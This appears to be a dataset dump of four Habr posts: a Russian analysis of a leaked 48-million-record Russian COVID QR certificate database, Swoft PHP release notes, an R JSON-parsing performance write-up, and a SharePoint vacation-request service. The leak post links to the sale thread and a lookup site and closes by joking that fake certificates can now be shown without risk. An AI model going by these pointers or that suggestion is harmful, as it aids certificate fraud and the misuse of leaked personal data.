text stringlengths 20 1.01M | url stringlengths 14 1.25k | dump stringlengths 9 15 ⌀ | lang stringclasses 4
values | source stringclasses 4
values |
|---|---|---|---|---|
# Сертификат COVID-19 не найден: Почему на самом деле перестали работать QR-коды о вакцинации
25 января 2022 года на сайте RaidForums было опубликовано [предложение о продаже базы данных 48 миллионов вакцинированных россиян](https://raidforums.com/Thread-GOSUSLUGI-STOPCORONAVIRUS-COVID-QR-code-database-48M-records). База данных содержала, кроме всего прочего, дату рождения, инициалы, и, главное, QR код сертификата вакцинации гражданин России. Первым об этом сообщил телеграм-канал "[Утечки информации](https://tlgrm.ru/channels/@dataleak)":
> Выборочная проверка показала, что QR-коды действительные, ведут на сайт Госуслуг и данные в образце полностью совпадают с тем, что указано на официальной странице проверки QR-кодов ([gosuslugi.ru/covid-cert/verify/](http://gosuslugi.ru/covid-cert/verify/))
>
>
Скриншот записи из телеграм-канала "Утечки информации"В качестве дополнительного доказательства валидности базы автор предоставил веб-интерфейс к части базы данных по адресу [qarusel.com](http://qarusel.com). Судя по результатам поиска через этот веб-интерфейс, в нем содержатся базы вакцинированных Москвы, Московской области и Санкт-Петербурга.
В тот же день, 25 января 2022 года ближе к ночи появились новости о том, что "[Минцифры проверит сообщения об утечке данных о привитых от COVID-19](https://www.rbc.ru/technology_and_media/25/01/2022/61f054029a7947b86442aa6b)", и "в базе нет персональных данных граждан".
Чем опасна такая база, если в ней нет персональных данных?
----------------------------------------------------------
Благодаря большому объему базы в ней почти для каждого человека можно найти сертификат о вакцинации с совпадающими инициалами и датой рождения. Например, для меня (Лапенко Антон Вячеславович, 1 сентября 1986) нашлось 54 сертификата, из которых два совпадали до дня:
Скриншот с сайта qarusel.comТаким образом любой человек мог подобрать себе сертификат о вакцинации. Номер паспорта не имеет значения, так как вместо него можно предоставить водительское удостоверение или другое удостоверение личности.
Как устроены QR-коды
--------------------
Как все знают, QR-код о вакцинации содержит ссылку на проверку сертификата на сайте gosuslugi.ru. Но среди них есть свои отличия:
немного деталей о кодах1. Версия 1. До июня 2021 года.
Эта версия может содержать только сертификат о вакцинации, не поддерживает сертификаты о переболевании или ПЦР-тесте. Имеет следующий вид:
`https://www.gosuslugi.ru/vaccine/cert/verify/{{uuid}}`
2. Версия 2. C июня 2021 до 9 ноября 2021
Поддерживает сертификаты разных видов:
* `VACCINE_CERT` - One-year vaccination certificate
* `ILLNESS_FACT` - Previous disease certificate ("attrs" field includes recovery date info)
* `TEMPORARY_CERT` - Temporary vaccination certificate
* `COVID_TEST` - PCR test result certificateСсылка имеет вид:
`https://www.gosuslugi.ru/covid-cert/verify/{{unrz}}?lang={{lang}}&ck={{hash}}`
3. Версия 3
Текущая версия, но, как и первая, не различает вакцинацию/переболевание/тест и ссылка похожа на первую версию:
`https://www.gosuslugi.ru/covid-cert/status/{{uuid}}?lang=ru`
Так какие сертификаты слиты?
----------------------------
Судя по всему, слиты сертификаты всех вакцинаций, сделанных до ноября 2021 года, так как все QR-коды в базе имеют формат второй версии: `https://www.gosuslugi.ru/covid-cert/verify/{{unrz}}?lang={{lang}}&ck={{hash}}`
До ноября 2021 года по официальной статистике было привито около 45 млн человек. На данный момент это большая часть их всех привитых в России. Заявлено, что в слитой базе содержится 48 миллионов записей. Внимательное изучение примеров и веб-интерфейса к базе показало, что некоторые записи в базе дублируются. Можно предположить, что в слитой базе около 45 миллионов уникальных записей, что и соответствует официальной статистике, и, в свою очередь, подтверждает оригинальность базы.
Фейком оказалась не слитая база, а сообщения Минцифры и Ростелекома
-------------------------------------------------------------------
Утром 26 января Ростелеком объявил о том, что данная [база данных является фейком](https://habr.com/ru/news/t/647827/) и QR коды в ней не рабочие. Каково же было моё удивление, когда вчера еще работающие QR-коды действительно оказались нерабочими. Неужели слитая база действительно оказалась фейком? А каким образом тогда в ней еще вчера были рабочие QR-коды? Фокус в том, что Минцифры перестало принимать собственные сертификаты, выданные до 25 января 2022 года!
Сертификат не найден
--------------------
26 января посыпались новости о проблемах с QR-кодами у жителей Омска, Уфы, Амурчан, Самарской области и т.д:
Новости за 26 январяБинго! Минцифры провозгласило нерабочими собственные QR коды, выданные до 26 января 2022 года! И всё только ради того, чтобы не признавать утечку!
FAQ
---
> Минцифры заявило, что выборочная проверка опубликованных QR-кодов показала их неработоспособность. В связи с этим Минцифры не может подтвердить валидность этих данных.
>
>
Действительно, у QR-кодов теперь есть некоторая неработоспособность, в том числе у обычных кодов обычных людей, которые сохранили их как скриншот, PDF или Wallet.
> Основатель сервиса DLBI Ашот Оганесян пояснил для Хабра, что вчера вечером в «Ростелекоме» отключили возможность сверки QR-кодов по номеру УНРЗ. Все QR-коды из утекшей базе содержат ссылки на УНРЗ. Пример: <https://www.gosuslugi.ru/covid-cert/verify/9780000015059666>
>
>
Нет, все QR-коды из утекшей базы содержат ссылки на УНРЗ+HASH: <https://www.gosuslugi.ru/covid-cert/verify/954000008736523?ck=13e4b5b6a3ca5a44365764215b73452c>
Выводы
------
1. Судя по тому, что Минцифры сломали собственные QR-коды, слитая база была настоящей.
2. Большинству людей придется заново генерировать сертификат, а для пенсионеров без смартфона придется заново распечатывать бумажку
3. Власти в очередной раз держат нас за дураков
Бонус
-----
Теперь можно без опасений предъявлять поддельные сертификаты или QR-коды из чека на курицу-гриль, а в случае претензий говорить, что у тебя старый код, всё равно они почти у всех поломаны. | https://habr.com/ru/post/650589/ | null | ru | null |
# PHP Microservice Framework: Swoft v2.0.7 Release on schedule
What is Swoft?
--------------
Swoft is a PHP high performance microservice coroutine framework. It has been published for many years and has become the best choice for php. It can be like Go, built-in coroutine web server and common coroutine client and is resident in memory, independent of traditional PHP-FPM. There are similar Go language operations, similar to the Spring Cloud framework flexible annotations.
Through three years of accumulation and direction exploration, Swoft has made Swoft the Spring Cloud in the PHP world, which is the best choice for PHP's high-performance framework and microservices management.
Github
------
<https://github.com/swoft-cloud/swoft>
Swoft v2.0.7
------------
Swoft `v2.0.7` continues to sail on `v2.0.6` and has been used in a large number of production operations, which has been recognized and supported by many users. The official version has made a lot of improvements and optimizations, with better performance.
* Added Http Session function component, provides http session management, supports multiple storage drivers
* Enhanced TCP server request support to add global or corresponding method middleware
* Enhanced Websocket server message request support for adding global or corresponding method middleware
Http Session
------------
Install the swoft/session component with Composer
* Execute `composer require swoft/session` in the directory where the project composer.json is located.
* Add `Swoft\Http\Session\SessionMiddleware` middleware to the global middleware
In `app/bean.php`:
```
'httpDispatcher' => [
// Add global http middleware
'middlewares' => [
\Swoft\Http\Session\SessionMiddleware::class,
],
],
```
> The default is based on local file drivers, saved in the `runtime/sessions` directory
More on the driver only need to configure the corresponding `handler`.
For example, configure the `Redis` driver:
```
'sessionHandler' => [
'class' => RedisHandler::class,
// Config redis pool
'redis' => bean('redis.pool')
],
```
Websocket Messaging Middleware
------------------------------
* Global middleware
Configured in `app/bean.php`:
```
/** @see \Swoft\WebSocket\Server\WsMessageDispatcher */
'wsMsgDispatcher' => [
'middlewares' => [
\App\WebSocket\Middleware\GlobalWsMiddleware::class
],
],
```
* Acting on the controller
```
/**
* Class HomeController
*
* @WsController(middlewares={DemoMiddleware::class})
*/
class TestController
{}
```
TCP Request Middleware
----------------------
* Global middleware
Configured in `app/bean.php`:
```
/** @see \Swoft\Tcp\Server\TcpDispatcher */
'tcpDispatcher' => [
'middlewares' => [
\App\Tcp\Middleware\GlobalTcpMiddleware::class
],
],
```
* Acting on the controller
```
/**
* Class DemoController
*
* @TcpController(middlewares={DemoMiddleware::class})
*/
class DemoController
{
// ....
}
```
Update Log
----------
> Upgrade tips:
>
> * `Swoole\WebSocket\Server::push` The fourth parameter `$finish` was changed to int type after swoole `4.4.12`.
> * The `TcpServerEvent::CONNECT` event parameter of the tcp server remains the same as receive and close. `$fd, $server` swap positions.
>
>
>
>
Github
------
<https://github.com/swoft-cloud/swoft>
**Fixed**:
* When fixing config injection, if the value is not found, the default value of the corresponding type will be used to override the attribute, causing the default value of the attribute to be overwritten [d84d50a7](https://github.com/swoft-cloud/swoft-component/pull/522/commits/d84d50a76c4c7ff19dc0896868745cfe8f0d93c9)
* Fixed when using the message schedule in ws server, no empty data was filtered, resulting in one more response. Avoid method [swoft-cloud/swoft#1002](https://github.com/swoft-cloud/swoft/issues/1002) [d84d50a7](<https://github.com/swoft-cloud/swoft-component/> Pull/522/commits/d84d50a76c4c7ff19dc0896868745cfe8f0d93c9)
* Fixed when using message scheduling in tcp server, no empty data was filtered, resulting in one more response. [07a01ba1](https://github.com/swoft-cloud/swoft-component/pull/522/commits/07a01ba1e6ff52baffbc7b2baf997e0e6a07ae04)
* Fixed missing swoft/stdlib library dependencies when using console component independently [c569c81a](https://github.com/swoft-cloud/swoft-component/pull/529/commits/c569c81ae15c0b2b73db3a15c457d7b982a06d7f)
* Fixed `ArrayHelper::get` When the input key is integer, the parameter parameter is incorrect [a44dcad](https://github.com/swoft-cloud/swoft-component/pull/528/commits/a44dcad42cbdd20cb4078351a8deb3b966b1ca09)
* Fix console rendering using table, when calculating int value, calculate width report type error [74a835ab](https://github.com/swoft-cloud/swoft-component/pull/528/commits/74a835abd78ed58c081668129e723d5e83429398)
* Fixed error in the component user can not customize the default error handling level [4c78aeb](https://github.com/swoft-cloud/swoft-component/pull/530/commits/4c78aeb3326bfb333227f07b675a2bdfc3b95f0f)
* Fix Enable and disable Component settings `isEnable()` does not work [da8c51e56](https://github.com/swoft-cloud/swoft-component/pull/530/commits/da8c51e561074f94ec29a8c5055f563c6ed13cc0)
* Fixes Using the `uniqid()` method in the cygwin environment must set the second parameter to true [c7f688f](https://github.com/swoft-cloud/swoft-component/pull/530/commits/c7f688f4ef07bb7c7d59a0c03888d0c79f77d4c7)
* Fixed Unable to set process title in cygwin environment and cause error [c466f6a](https://github.com/swoft-cloud/swoft-component/pull/530/commits/c466f6a3841b6fb58e581d517c2151699ac4cf3e)
* Fixed Unable to delete browser cookie data using http `response->delCookie()` [8eb9241](https://github.com/swoft-cloud/swoft-component/pull/530/commits/8eb9241329e46dcab78e4f18ea4771808a1f034e)
* Fixed ws server message dispatching, the received ext data is not necessarily an array causing an error [ff45b35](https://github.com/swoft-cloud/swoft-component/pull/530/commits/ff45b356c709d97bc2937dab8d467e4680d58cf0)
* Fix log file split by time [c195413](https://github.com/swoft-cloud/swoft-component/pull/533/commits/08c42449cc5ca7922e5bf54d6523b0d8799ba910)
* Fix the log `JSON` format small problem [a3fc6b9](https://github.com/swoft-cloud/swoft-component/pull/535/commits/a3fc6b94a8afff873f7f3ac8248432ff2a409d13)
* Fixed `rpc` service provider `getList` call twice [fd03e71](https://github.com/swoft-cloud/swoft-component/pull/535/commits/fd03e71f525c265add11e9334cc6dd505daf62ec)
* Fix `redis cluster` does not support `auth` parameter [7a678f](https://github.com/swoft-cloud/swoft-component/pull/525/commits/7a678fd866e3ec842b00f734f7f6c3b7b1a03a9b)
* Fix model query `json` type, does not support `array` [6023a9](https://github.com/swoft-cloud/swoft-component/pull/525/commits/6023a99aad06d9e87ff0a38bb4f37242f331a771)
* Fixed redis `multi` operation not connected in time [e5f698](https://github.com/swoft-cloud/swoft-component/pull/525/commits/e5f69802947ec3d9b56b7d56ec2dc4b1d70b4995)
* Fix redis does not support `expireAt`, `geoRadius` [749241](https://github.com/swoft-cloud/swoft-component/pull/525/commit/749241561dbb5a6b94c659b2642e255900cb6b69)
* Fixed `crontab` timestamp detection deviation problem [eb08a46](https://github.com/swoft-cloud/swoft-ext/commit/eb08a46833188f49e05b1ea3c041c8a60ff53606)
**Update(Update)**:
* Update console also emits an event before rendering the help message `ConsoleEvent::SHOW_HELP_BEFORE` [d3f7bc3](https://github.com/swoft-cloud/swoft-component/pull/522/commits/d3f7bc3c5093a11a1de3710fd239c4375b835160)
* Simplify and unify http, ws, tcp, rpc server management command logic [f202c826](https://github.com/swoft-cloud/swoft-component/pull/522/commits/f202c826b74972775fe97ad91b2c38e5c7d97014)
* Update the ws and tcp Connection classes to add the `newFromArray` and `toArray` methods to facilitate exporting information and restoring connections via third-party storage (`redis`) [a8b0b7c](<https://github.com/swoft-cloud/swoft> -component/pull/528/commits/a8b0b7c77d56d4392eba75d13a911816b9dc0cee)
* Optimize server to add a unified swoole pipe message event handler, use the swowt event in ws, tcp to handle interprocess messages [1c51a8c](https://github.com/swoft-cloud/swoft-component/pull/530/commits/1c51a8c82357f52b6f858bcaa58396c521080695)
**Enhancement**:
* Now tcp requests support adding global or corresponding method middleware, and the process and usage are similar to http middleware. *Useful only when using system scheduling* [6b593877](https://github.com/swoft-cloud/swoft-component/pull/528/commits/6b593877acc5cb78bbd863e08c0559454fb0b59c)
* Now the websocket message request supports adding global or corresponding method middleware, and the process and usage are similar to http middleware. *Useful only when using system scheduling* [9739815](https://github.com/swoft-cloud/swoft-component/pull/530/commits/973981568df4bca18a4858efe1ef7730d903353e)
* Event Management allows setting `destroyAfterFire` to clean up the data carried in the event after each event dispatch [50bf43d3](https://github.com/swoft-cloud/swoft-component/pull/530/commits/50bf43d39857fea7328c83a790c941e83847b82b)
* Database error exception added `code` returns [fd306f4](https://github.com/swoft-cloud/swoft-component/pull/533/commits/fd306f470ba171f556bc05682aae58cab217cacc)
* Coroutine file operation `writeFile` New write failure exception [08c4244](https://github.com/swoft-cloud/swoft-component/pull/533/commits/08c42449cc5ca7922e5bf54d6523b0d8799ba910)
* RPC new parameter verification [8646fc5](https://github.com/swoft-cloud/swoft-component/pull/533/commits/8646fc5c64bcfeb84c0c38adb31ff2759a20726d)
Github
------
<https://github.com/swoft-cloud/swoft> | https://habr.com/ru/post/476508/ | null | en | null |
# Насколько R быстр для продуктива?
Есть такой популярный класс задач, в которых требуется проводить достаточно глубокий анализ всего объема цепочек работ, регистрируемых какой-либо информационной системой (ИС). В качестве ИС может быть документооборот, сервис деск, багтрекер, электронный журнал, складской учет и пр. Нюансы проявляются в моделях данных, API, объемах данных и иных аспектах, но принципы решения таких задач примерно одинаковы. И грабли, на которые можно наступить, тоже во многом похожи.
Для решения подобного класса задач R подходит как нельзя лучше. Но, чтобы не разводить разочарованно руками, что R может и хорош, но о-о-очень медленный, важно обращать внимание на производительность выбираемых методов обработки данных.
Является продолжением [предыдущих публикаций](https://habrahabr.ru/users/i_shutov/posts/).
Обычно, поверхностный подход «в лоб» не является самым эффективным. 99% задач, связанных с анализом и обработкой данных начинаются с их импорта. В этом кратком очерке рассмотрим проблемы, возникающие на базовом этапе импорта данных с данными в формате `json`, на примере типовой задачи «глубокого» анализа данных инсталляции Jira. `json` поддерживает сложную объектную модель, в отличии от `csv`, поэтому его парсинг в случае сложных структур может стать весьма тяжелым и долгим.
Постановка задачи
=================
Дано:
* jira внедрена и используется в процессе разработки ПО как система управления задачами и багтрекер.
* Прямого доступа к БД jira нет, взаимодействие осуществляется через REST API (гальваническая развязка).
* Забираемые json файлы имеют весьма сложную древовидную структуру с вложенными кортежами, требуемые для выгрузки всей истории действий. Для расчета же метрик требуется относительно небольшое количество параметров, разбросанных по разным уровням иерархии.
Пример штатного jira json на рисунке.
Требуется:
* На основании данных jira необходимо найти узкие места и точки возможного роста эффективности процессов разработки и повышения качества получаемого продукта на основе анализа всех зарегистрированных действий.
Решение
=======
Теоретически в R есть несколько различных пакетов по загрузке json и преобразованию их в `data.frame`. Наиболее удобным выглядит пакет `jsonlite`. Однако, прямое преобразование иерархии json в `data.frame` затруднительно в силу многоуровневого вложения и сильной параметризированности структуры записей. Выцепление конкретных параметров, связанных, например, с историей действий, может потребовать различных доп. проверок и циклов. Т.е. задачу можно решить, но для json файла размером в 32 задачи (включает все артефакты и всю историю по задачам) такой нелинейный разбор средствами jsonlite и tidyverse занимает ~10 секунд на ноутбуке средней производительности.
Сами по себе 10 секунд — это немного. Но ровно до момента, пока этих файлов не становится слишком много. Оценка на сэмпле разбора и загрузки подобным «прямым» методом ~4000 файлов (~4 Гб) дала 8-9 часов работы.
Такое большое количество файлов появилось неспроста. Во-первых, jira имеет временные ограничения на REST сессию, вытащить все балком невозможно. Во-вторых, будучи встроенным в продуктивный контур, ожидается ежедневная выгрузка данных по обновленным задачам. В-третих, и это будет упомянуто дальше, задача очень хороша для линейного масштабирования и думать о параллелизации надо с самого первого шага.
Даже 10-15 итераций на этапе анализа данных, выявления необходимого минимального набора параметров, обнаружения исключительных или ошибочных ситуаций и выработки алгоритмов постпроцессинга дают затраты в размере 2-3 недели (только счетное время).
Естественно, что подобная «производительность» не подходит для операционной аналитики, встроенной в продуктивный контур, и очень неффективно на этапе первичного анализа данных и разработки прототипа.
Пропуская все промежуточные детали, сразу перехожу к ответу. Вспоминаем Дональда Кнута, засучиваем рукава и начинаем заниматься микробенчмаркингом всех ключевых операций безжалостно срезая все, что только можно.
Результирующее решение сводится к следующим 10 строчками (это сутевой скелет, без последующего нефункционального обвеса):
```
library(tidyverse)
library(jsonlite)
library(readtext)
fnames <- fs::dir_ls(here::here("input_data"), glob = "*.txt")
ff <- function(fname){
json_vec <- readtext(fname, text_field = "texts", encoding = "UTF-8") %>%
.$text %>%
jqr::jq('[. | {issues: .issues}[] | .[]',
'{id: .id, key: .key, created: .fields.created,
type: .fields.issuetype.name, summary: .fields.summary,
descr: .fields.description}]')
jsonlite::fromJSON(json_vec, flatten = TRUE)
}
tictoc::tic("Loading with jqr-jsonlite single-threaded technique")
issues_df <- fnames %>%
purrr::map(ff) %>%
data.table::rbindlist(use.names = FALSE)
tictoc::toc()
system.time({fst::write_fst(issues_df, here::here("data", "issues.fst"))})
```
Что здесь интересного?
1. Для ускорения процесса загрузки хорошо использовать специализированные профилированные пакеты, такие как `readtext`.
2. Применение потокового парсера [`jq`](https://stedolan.github.io/jq/) позволяет перевести все выцепление нужных атрибутов на функциональный язык, опустить его на CPP уровень и минимизировать ручные манипуляции над вложенными списками или списками в `data.frame`.
3. Появился очень перспективный пакет [`bench`](https://github.com/r-lib/bench) для микробенчамарков. Он позволяет изучать не только время исполнения операций, но и манипуляции с памятью. Не секрет, что на копировании данных в памяти можно терять очень много.
4. Для больших объемов данных и простой обработки часто приходится в финальном решении отказываться от `tidyverse` и переводить трудоемкие части на `data.table`, в частности здесь идет слияние таблиц средствами именно `data.table`. А также все преобразования на этапе постпроцессинга (которые включены в цикл посредством функции `ff` также сделаны средствами `data.table` с подходом изменения данных по ссылке, либо пакетами, построенными с применением `Rcpp`, например, пакет `anytime` для работы с датами и временем.
5. Для сброса данных в файл и последующего чтения очень хорош пакет `fst`. В частности, всего доли секунды уходят на сохранение всей аналитики jira истории за 4 года, а данные сохраняются именно как типы данных R, что хорошо для последующего их переиспользования.
В ходе решения был рассмотрен подход с применением пакета `rjson`. Вариант `jsonlite::fromJSON` примерно в 2 раза медленнее, чем `rjson = rjson::fromJSON(json_vec)`, но пришлось оставить именно его, потому как в даных бывают NULL значения, а на этапе преобразования `NULL` в `NA` в списках, выдаваемых `rjson` мы теряем преимущество, а код утяжеляется.
Заключение
==========
1. Подобный рефакторинг привел к изменению времени процессинга всех json файлов в однопоточном режиме на этом же ноутбуке с 8-9 часов до 10 минут.
2. Добавление параллелизации задачи средствами `foreach` практически не утяжелило код (+ 5 строчек) но снизило время исполнения до 5 минут.
3. Перевод решения на слабенький linux сервер (всего 4 ядра), но работающего на SSD в многопоточном режиме свело время исполнения до 40 секунд.
4. Публикация на продуктивный контур (20 ядер, 3 ГГц, SSD) дало снижение времени исполнения до 6-8 секунд, что является более чем приемлемым для задач операционной аналитики.
Итого, оставаясь в рамках платформы R, простым рефакторингом кода удалось добитьcя уменьшения времени исполнения с ~9 часов до ~9 секунд.
Решения на R могут быть вполне быстрыми. Если у вас что-то не получается, попробуйте взглянуть на это под другим углом и с применением свежих методик.
Предыдущая публикация — [«Аналитический паRашют для менеджера»](https://habr.com/post/416673/). | https://habr.com/ru/post/429938/ | null | ru | null |
# Сервис управления заявками на отпуска для SharePoint 2013 в интеграции с БОСС-Кадровик
Полгода назад мы рассказывали о том, [как реализовали сервис бронирования переговорных комнат](http://habrahabr.ru/company/eastbanctech/blog/195110/) у крупного заказчика с территориально разнесенными офисами и штатом несколько тысяч человек. Мы продолжаем работать с SharePoint-порталом этой компании, в рамках его развития специалисты EastBanc Technologies создали еще один модуль — сервис управления заявками на отпуска в интеграции с автоматизированной системой управления персоналом [БОСС-Кадровик](http://www.bosshr.ru/tes/functional.php).
Назначение этого сервиса, как нам кажется, не нуждается в пространном разъяснении: попросту говоря, сервис автоматизирует учет отпусков в компании. Гораздо интересней, какие практические задачи стояли перед нами в данной конкретной компании, об этом — дальше.
##### Анализ
В соответствии с ТК РФ, ежегодный основной оплачиваемый отпуск предоставляется работнику по истечении 6 месяцев с первого дня работы в компании, и затем каждый год на основании приказа о предоставлении отпуска, оформленного в соответствии с графиком отпусков. Каждый месяц работы «на счету» сотрудника копится 2,33 дня оплачиваемого отпуска. Оплачиваемый отпуск [бывает](http://kzotrf.ru/head_19.html): основным ежегодным, дополнительным, основным оплачиваемым отпуском авансом, дополнительным отпуском авансом. И отдельным типом идет [административный отпуск](http://123-job.ru/articles.php?id=524).
Заявки на эти типы отпусков нам предстояло автоматизировать. В наши задачи входило:
1. Предоставить сотрудникам удобный интерфейс на корпоративном портале для оформления и согласования заявок на отпуск. Сотрудник должен видеть, сколько свободных дней есть в его распоряжении, иметь возможность отправить заявку на согласование руководителю.
2. Дать возможность руководителю сотрудника согласовывать заявки на отпуска в автоматическом режиме.
3. Синхронизовать фактические данные с плановыми данными, которые есть у отдела персонала (хранятся в системе БОСС-Кадровик).
4. Минимизировать бумажный документооборот.
С технической точки зрения нужно было учесть следующее:
1. Сервис нужно было интегрировать в личный кабинет, сохранив стилистику и логику уже знакомого [сервиса бронирования переговорок](http://habrahabr.ru/company/eastbanctech/blog/195110/).
2. Решение реализовывалось на MS SharePoint 2010, но все участники процесса разработки уже понимали необходимость перехода на 2013-ый, который позже [провели специалисты EastBanc Technologies](http://habrahabr.ru/company/eastbanctech/blog/212841/).
##### UI
Здесь все было просто: действовать в том же духе, что и с переговорками (картинки кликабельные, открывать в новом окне).
[](http://http:https://habrastorage.org/getpro/habr/post_images/b58/22c/806/b5822c806e608302d70ff3f4de8955e0.png)
«Мой кабинет»: видим доступное нам количество дней отпуска на заданный период, собственные заявки и их статусы, а в разделе «Архив» — заявки подчиненных, также со статусами. Особняком стоит кнопка «Добавить заявку».
[](http://http:https://habrastorage.org/getpro/habr/post_images/7c2/d53/8c1/7c2d538c10d5d76d673036de44ba98b1.png)
«Мой кабинет» сотрудника отдела кадров: здесь все то же самое, только добавляется раздел «Заявки на согласование», которые прилетают кадровику со всей компании.
[](http://http:https://habrastorage.org/getpro/habr/post_images/ae2/045/5e7/ae20455e7b18b4d2a90bba273f54e824.png)
Заявка на отпуск — с точки зрения сотрудника. Эту форму он заполняет и отправляет на согласование начальнику своего подразделения, после чего она летит кадровикам.
[](http://http:https://habrastorage.org/getpro/habr/post_images/bc4/166/3f9/bc41663f9260070e1056b059ac759e53.png)
Заявка на отпуск от сотрудника — в таком виде она приходит непосредственному руководителю сотрудника (начальнику подразделения).
[](http://http:https://habrastorage.org/getpro/habr/post_images/fa8/a88/318/fa8a88318866b3d70317dbe1062a7f32.png)
Заявка на отпуск от сотрудника — в таком виде она приходит кадровику после согласования у непосредственного руководителя сотрудника.
[](http://http:https://habrastorage.org/getpro/habr/post_images/16f/96f/0a5/16f96f0a5b47cc95455092a161911d04.png)
Годовой график отпусков по конкретно взятому отделу — как его видит кадровик.
[](http://http:https://habrastorage.org/getpro/habr/post_images/4f9/9d5/773/4f99d5773d551ec0988a436cf70dbd57.png)
График отпусков по отделу на месяц — как его видит кадровик.
##### Хранение заявок на портале
Для хранения информации о фактических и запланированных отпусках мы создали список в SharePoint:
##### Интеграция с БОСС-Кадровик
Информация в SharePoint поступает из системы БОСС-Кадровик по средством обмена файлами с помощью SharePoint Job. Так же информацию о согласованных заявках мы отправляем обратно в БОСС-Кадровик.
Для связывания табельного номера сотрудника с учетной записью в ActiveDirectory было добавлено поле employeeID и «прокинуто» в SharePoint при помощи User Profile Service:
Отдельной проблемой стал график отпусков, т.к. в списке фактических и запланированных отпусков порядка 100 тысяч строк, и определять сотрудника через User Profile Service было трудозатратно. Поэтому мы настроили Search Service Application, и при помощи измененного в SharePoint 2013 механизма KeywordQuery достаем всю необходимую информацию о пользователях:
```
ResultTableCollection rtc = null;
var kwq = new KeywordQuery(site) {
QueryText = String.Format(querySchema, employeeIdField, nameField, departmentField, department, officeField, office),
ResultTypes = ResultType.RelevantResults,
KeywordInclusion = KeywordInclusion.AllKeywords,
HiddenConstraints = "scope:" + "\"People\""
};
SearchExecutor se = new SearchExecutor();
rtc = se.ExecuteQuery(kwq);
```
Для соблюдения ТК РФ мы сделали проверку на заявку пользователя: длительность основного оплачиваемого отпуска кратна 7 дням, и один из отпусков должен длиться не менее двух недель. Помимо данной проверки добавлена дополнительная проверка на «свободные дни»: из БОСС-Кадровик приходит информация о планируемых командировках или отгулах — на эти дни подавать заявку на отпуск запрещено.
Также отпуска можно «складывать»: например, к основному оплачиваемому отпуску из 14 дней «прицепить» административный отпуск из 7 дней.
**Форматы данных, которые использовались для обмена:**
1. Фактический и запланированный отпуска (из БОСС-Кадровик и в БОСС-Кадровик — формат идентичный)
imployeeId;fromDate;toDate;type
59;2010-08-09 00:00:00;2010-08-22 00:00:00;0
59;2007-06-01 00:00:00;2007-06-15 00:00:00;0
59;2007-08-15 00:00:00;2007-09-04 00:00:00;0
59;2012-06-25 00:00:00;2012-07-15 00:00:00;0
59;2012-09-01 00:00:00;2012-09-07 00:00:00;0
59;2013-04-29 00:00:00;2013-05-06 00:00:00;0
59;2013-07-01 00:00:00;2013-07-21 00:00:00;0
2. Доступно дней для отпуска (из БОСС-Кадровик)
imployeeId;fromDate;toDate;mainVacationDays;additionalVacationDays
59;2013-06-20 00:00:00;2014-06-19 00:00:00;14,0000;3,0000
59;2012-06-20 00:00:00;2013-06-19 00:00:00;,0000;3,0000
59;2011-06-20 00:00:00;2012-06-19 00:00:00;,0000;3,0000
59;2008-06-20 00:00:00;2009-06-19 00:00:00;1,0000;,0000
59;2007-06-20 00:00:00;2008-06-19 00:00:00;3,0000;,0000
3. Информация о прогулах, отгулах, командировках (из БОСС-Кадровик)
imployeeId;fromDate;toDate;type
5236;2007-03-12 00:00:00;2007-03-16 00:00:00; Командировка
5249;2007-03-09 00:00:00;2007-03-18 00:00:00; Командировка
209;2007-03-19 00:00:00;2007-03-19 00:00:00; Выходной день родителей детей инвалидов
##### Реализация
Для реализации форм создания/редактирования/просмотра заявок мы переопределили стандартные диалоги редактирования элементов SharePoint в schema.xml соответствующего списка при помощи атрибута UseLegacyForm:
```
```
Как видно из определения, это по сути обычные aspx-страницы, но с уникальными content placeholder’ами.
Например для тэга title:
```
Заявление на отпуск
```
Более подробно описано здесь [office.microsoft.com/en-us/sharepoint-designer-help/working-with-content-placeholder-controls-HA102265026.aspx](http://office.microsoft.com/en-us/sharepoint-designer-help/working-with-content-placeholder-controls-HA102265026.aspx)
Для UI мы использовали jQuery UI.
Также во всплывающем окне просмотра заявки нам нужно было отображать историю согласования данной заявки. Для этого мы создали список «история согласования заявки» с lookup-полем на список заявок. И определили представление с использованием CAML-запроса:
```
```
Параметр Id (это Id из списка заявок) приходит из параметров запроса, что в общем-то понятно, т.к. ссылка, формируемая SharePoint на открытие формы просмотра элемента, выглядит следующим образом:
```
{$HttpVDir}/_layouts/15/listform.aspx?PageType=6&ListId={$List}&ID={$ID}
```
Далее для нашего списка истории согласования, его представления для конкретной заявки и aspx-страницы отображения заявки было объявлено xls-представление:
```
<webParts>
<webPart xmlns="http://schemas.microsoft.com/WebPart/v3">
<data>
<properties>
....
<property name="XslLink" type="string">/\_layouts/15/ETR.VacationRequest/xsl/history.xsl</property>
....
</properties>
</data>
</webPart>
</webParts>
```
Из кода очевидно, что представление будет расположено на странице Lists/RequestList/DisplayForm.aspx в вебпарт зоне WebPartZoneID=«Main». Осталось лишь убедиться, что такая зона у нас присутствует на странице:
```
```
С графиком отпусков мы пошли дальше, т.к. стандартное представление списка в виде календаря не устраивало ни нас, ни заказчика. Поэтому мы дали задание нашим дизайнерам, и они нарисовали этот красивый календарь:
[](http://http:https://habrastorage.org/getpro/habr/post_images/16f/96f/0a5/16f96f0a5b47cc95455092a161911d04.png)
Получив одобрение заказчика, мы принялись за работу: первым делом, по примеру нашего сервиса бронирования переговорок, мы написали WCF-сервис, который возвращает json и при этом работает в контексте SharePoint’a.
Определили DataContract:
```
[DataContract(Name = "Vacation")]
public class Vacation
{
[DataMember(Name = "fromDate")]
public DateTime FromDate { get; set; }
[DataMember(Name = "toDate")]
public DateTime ToDate { get; set; }
[DataMember(Name = "type")]
public int Type { get; set; }
}
[DataContract(Name = "employeeData")]
public class EmployeeData
{
[DataMember(Name = "id")]
public int Id { get; set; }
[DataMember(Name = "name")]
public string Name { get; set; }
[DataMember(Name = "vacations")]
public List Vacations { get; set; }
}
[DataContract(Name = "departmentData")]
public class DepartmentData
{
[DataMember(Name = "name")]
public string Name { get; set; }
[DataMember(Name = "office")]
public string Office { get; set; }
[DataMember(Name = "employees")]
public List Employees { get; set; }
}
```
Собрали данные о пользователе при помощи KeywordQuery, а данные об отпусках при помощи несложного CAML-запроса. Сделали кастомную верстку и связке jQuery с KnockOut реализовали требуемый интерфейс.
##### Результат
В итоге нам удалось полностью удовлетворить потребности заказчика в автоматизации бизнес-процесса учета отпусков. Теперь для сотрудников компании-заказчика сборы в отпуск начинаются с легкого, приятного процесса заполнения заявки, а не беготней с бумажками. Также у них всегда в свободном доступе имеется информация о количестве отпускных дней и информация о статусе поданных заявок.
